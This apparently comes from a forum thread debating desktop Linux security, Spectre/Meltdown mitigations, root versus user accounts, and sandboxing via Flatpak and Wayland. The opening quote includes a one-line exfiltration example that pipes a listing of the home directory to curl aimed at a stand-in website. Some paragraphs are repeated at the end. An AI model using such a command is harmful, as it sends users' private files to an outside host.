> Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user
There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?
I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but...
I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
On a single owner desktop system, isn't kernel memory strictly less interesting than user memory, for reads? All of the important things, like passwords and emails and secret keys, are in user space memory or in the user readable file system, generally...
> Why aren't you running all your software as root?
A lot of software gets snippy when you try to run them as root. That said, the biggest advantage of non-root is protecting myself from fucking up my own system.
If somebody gets access to my user account, they can't change my system files, but they can literally buy an entire new PC with my money, on which they can then presumably change whatever system files they want. I hope that example outlines how pointless root protection is in a modern consumer PC.
> they can't change my system files, but they can literally buy an entire new PC with my money
This is a problem that's fixable with additional security additions, but only if you haven't granted everyone root access.
You can set up ssh with appropriate privileges and chown private keys so that they require a password to access. You can run certain programs like games as unprivileged users without full access to your $HOME directory. You can start using Flatpak and Wayland. Unless you have a Spectre/Meltdown vulnerability, in which case most of that is pointless.
I don't understand the mentality that says, "my system is broadly insecure, so I'd better make it impossible to secure." I mention this elsewhere[0], but a big part of getting to a secure Linux system is patching the holes we can right now.
> There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?
Only somewhat devil's advocate: Software running as root can accidentally delete important files. I run software as non-root to prevent myself from my silly mistakes. You don't accidentally leak information through SPECTRE.
> There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?
I'll be honest, because that's the default on Linux (I'd make the effort to do that for my personal things at least - I'd never do that on computers with shared accounts or with work-related data).
It's not that the vulnerability isn't dangerous. It's that there are already _so_ many other vulnerabilities that outside of maybe JavaScript it doesn't make a whole lot of difference. Desktop linux security is basically this: https://i.redd.it/bqk0cv1r56c41.png Why worry about a whole in the fence gate when anyone can just walk around it?
The problem is that there are like 4 or 5 efforts going on in Linux right now to make things more secure. But they're all kind of targeted, and we need all of them to coordinate with each other, so individually each of them gets dismissed because "what's the point of plugging one hole?"
People mention $HOME access. This is something that we're trying to solve with Flatpack: filesystem access should be sandboxed by default. But that requires coordination with desktop environments like Gnome, otherwise everyone just grants programs anything they want because the UX is bad.
And then on top of that we have X11, which is its own mess, and we're trying to address that with Wayland. But Wayland isn't perfect yet for desktop recording, and there's not a ton of effort from software like Emacs to get off of X and onto Wayland because of "what's the point?" arguments. So Flatpack becomes a lot less valuable because X11 keylogging is so easy.
Then we have just flat-out bad user security, where people are setting up sudo without a password. So process isolation becomes a lot less valuable because programs can just manipulate the raw filesystem.
And then we have Spectre/Meltdown leaking passwords, but who cares because "people don't set passwords anyway."?
And whenever a group of people get together and propose any fixes in isolation, there is inevitably someone in the Linux community who will stand up and say, "Look, Wayland is pointless because someone wrote a keylogger[0]. Why are we spending any time fixing this stuff?"
Imagine you are on a boat with 10 holes in the bottom, all of them leaking water. If you want to fix that problem, there is inevitably going to be a period where 5 of the holes are patched and 5 of them aren't. And if you get to that point and start re-opening the holes that did get patched, it's going to be very hard to make any more progress.
It's not that the desktop "linux" developers don't care about security. But there's simply not enough manpower behind it. The linux kernel is only secure because that's what the cloud companies with a shit ton of money care about. They don't care about desktop.
I don't think reality is quite like your little image here. There is no absolute security, ever, but we can create layers of difficulty for attackers as appropriate for our threat models. Someone with a reasonable amount of expertise and caution can use Linux on a personal computer in ways that make it very nearly impossible for a typical "criminal level" hacker (as opposed to nation-state level hacker) to steal information from them. Yes, that means not downloading arbitrary executables from the net, among other things, and certainly not running arbitrary code from the net like Javascript. When you do need to run something untrusted, run it isolated in a VM, etc. If you do these kinds of things, then it makes sense to also use stuff like Spectre mitigations.
There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?
I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but...
I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.